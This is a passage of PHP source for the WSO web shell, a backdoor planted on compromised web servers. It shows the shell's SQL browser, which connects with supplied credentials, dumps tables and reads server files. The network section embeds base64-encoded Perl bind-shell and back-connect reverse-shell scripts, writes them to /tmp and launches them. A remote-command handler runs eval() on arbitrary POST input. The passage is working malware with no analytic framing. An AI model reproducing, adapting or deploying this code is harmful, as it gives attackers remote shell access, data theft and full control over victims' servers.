1328 foreach($_POST['tbl'] as $v)
1329 $db->dump($v);
1330 exit;
1331 } elseif($fp = @fopen($_POST['file'], 'w')) {
1332 foreach($_POST['tbl'] as $v)
1333 $db->dump($v, $fp);
1334 fclose($fp);
1335 unset($_POST['p2']);
1336 } else
1337 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1338 }
1339 wsoHeader();
1340 echo "
1341<h1>Sql browser</h1><div class=content>
1342<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1343<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1344<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1345<td><select name='type'><option value='mysql' ";
1346 if(@$_POST['type']=='mysql')echo 'selected';
1347echo ">MySql</option><option value='pgsql' ";
1348if(@$_POST['type']=='pgsql')echo 'selected';
1349echo ">PostgreSql</option></select></td>
1350<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
1351<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
1352<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
1353 $tmp = "<input type=text name=sql_base value=''>";
1354 if(isset($_POST['sql_host'])){
1355 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1356 switch($_POST['charset']) {
1357 case "Windows-1251": $db->setCharset('cp1251'); break;
1358 case "UTF-8": $db->setCharset('utf8'); break;
1359 case "KOI8-R": $db->setCharset('koi8r'); break;
1360 case "KOI8-U": $db->setCharset('koi8u'); break;
1361 case "cp866": $db->setCharset('cp866'); break;
1362 }
1363 $db->listDbs();
1364 echo "<select name=sql_base><option value=''></option>";
1365 while($item = $db->fetch()) {
1366 list($key, $value) = each($item);
1367 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1368 }
1369 echo '</select>';
1370 }
1371 else echo $tmp;
1372 }else
1373 echo $tmp;
1374 echo "</td>
1375 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1376 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
1377 </tr>
1378 </table>
1379 <script>
1380 s_db='".@addslashes($_POST['sql_base'])."';
1381 function fs(f) {
1382 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1383 if(f.p1) f.p1.value='';
1384 if(f.p2) f.p2.value='';
1385 if(f.p3) f.p3.value='';
1386 }
1387 }
1388 function st(t,l) {
1389 d.sf.p1.value = 'select';
1390 d.sf.p2.value = t;
1391 if(l && d.sf.p3) d.sf.p3.value = l;
1392 d.sf.submit();
1393 }
1394 function is() {
1395 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1396 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1397 }
1398 </script>";
1399 if(isset($db) && $db->link){
1400 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1401 if(!empty($_POST['sql_base'])){
1402 $db->selectdb($_POST['sql_base']);
1403 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1404 $tbls_res = $db->listTables();
1405 while($item = $db->fetch($tbls_res)) {
1406 list($key, $value) = each($item);
1407 if(!empty($_POST['sql_count']))
1408 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1409 $value = htmlspecialchars($value);
1410 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
1411 }
1412 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1413 if(@$_POST['p1'] == 'select') {
1414 $_POST['p1'] = 'query';
1415 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
1416 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1417 $num = $db->fetch();
1418 $pages = ceil($num['n'] / 30);
1419 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1420 echo " of $pages";
1421 if($_POST['p3'] > 1)
1422 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
1423 if($_POST['p3'] < $pages)
1424 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
1425 $_POST['p3']--;
1426 if($_POST['type']=='pgsql')
1427 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1428 else
1429 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1430 echo "<br><br>";
1431 }
1432 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1433 $db->query(@$_POST['p2']);
1434 if($db->res !== false) {
1435 $title = false;
1436 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1437 $line = 1;
1438 while($item = $db->fetch()) {
1439 if(!$title) {
1440 echo '<tr>';
1441 foreach($item as $key => $value)
1442 echo '<th>'.$key.'</th>';
1443 reset($item);
1444 $title=true;
1445 echo '</tr><tr>';
1446 $line = 2;
1447 }
1448 echo '<tr class="l'.$line.'">';
1449 $line = $line==1?2:1;
1450 foreach($item as $key => $value) {
1451 if($value == null)
1452 echo '<td><i>null</i></td>';
1453 else
1454 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1455 }
1456 echo '</tr>';
1457 }
1458 echo '</table>';
1459 } else {
1460 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1461 }
1462 }
1463 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1464 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1465 echo htmlspecialchars($_POST['p2']);
1466 echo "</textarea><br/><input type=submit value='Execute'>";
1467 echo "</td></tr>";
1468 }
1469 echo "</table></form><br/>";
1470 if($_POST['type']=='mysql') {
1471 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1472 if($db->fetch())
1473 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1474 }
1475 if(@$_POST['p1'] == 'loadfile') {
1476 $file = $db->loadFile($_POST['p2']);
1477 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1478 }
1479 } else {
1480 echo htmlspecialchars($db->error());
1481 }
1482 echo '</div>';
1483 wsoFooter();
1484}
1485function actionNetwork() {
1486 wsoHeader();
1487 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1488 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1489 echo "<h1>Network tools</h1><div class=content>
1490 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1491 <span>Bind port to /bin/sh [perl]</span><br/>
1492 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1493 </form>
1494 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1495 <span>Back-connect [perl]</span><br/>
1496 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1497 </form><br>";
1498 if(isset($_POST['p1'])) {
1499 function cf($f,$t) {
1500 $w = @fopen($f,"w") or @function_exists('file_put_contents');
1501 if($w){
1502 @fwrite($w,@base64_decode($t));
1503 @fclose($w);
1504 }
1505 }
1506 if($_POST['p1'] == 'bpp') {
1507 cf("/tmp/bp.pl",$bind_port_p);
1508 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1509 sleep(1);
1510 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1511 unlink("/tmp/bp.pl");
1512 }
1513 if($_POST['p1'] == 'bcp') {
1514 cf("/tmp/bc.pl",$back_connect_p);
1515 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1516 sleep(1);
1517 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1518 unlink("/tmp/bc.pl");
1519 }
1520 }
1521 echo '</div>';
1522 wsoFooter();
1523}
1524function actionRC() {
1525 if(!@$_POST['p1']) {
1526 $a = array(
1527 "uname" => php_uname(),
1528 "php_version" => phpversion(),
1529 "wso_version" => WSO_VERSION,
1530 "safemode" => @ini_get('safe_mode')
1531 );
1532 echo serialize($a);
1533 } else {
1534 eval($_POST['p1']);
1535 }
1536}
1537if( empty($_POST['a']) )
1538 if(isset($default_action) && function_exists('action' . $default_action))
1539 $_POST['a'] = $default_action;
1540 else
1541 $_POST['a'] = 'SecInfo';
1542if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1543 call_user_func('action' . $_POST['a']);
1544exit;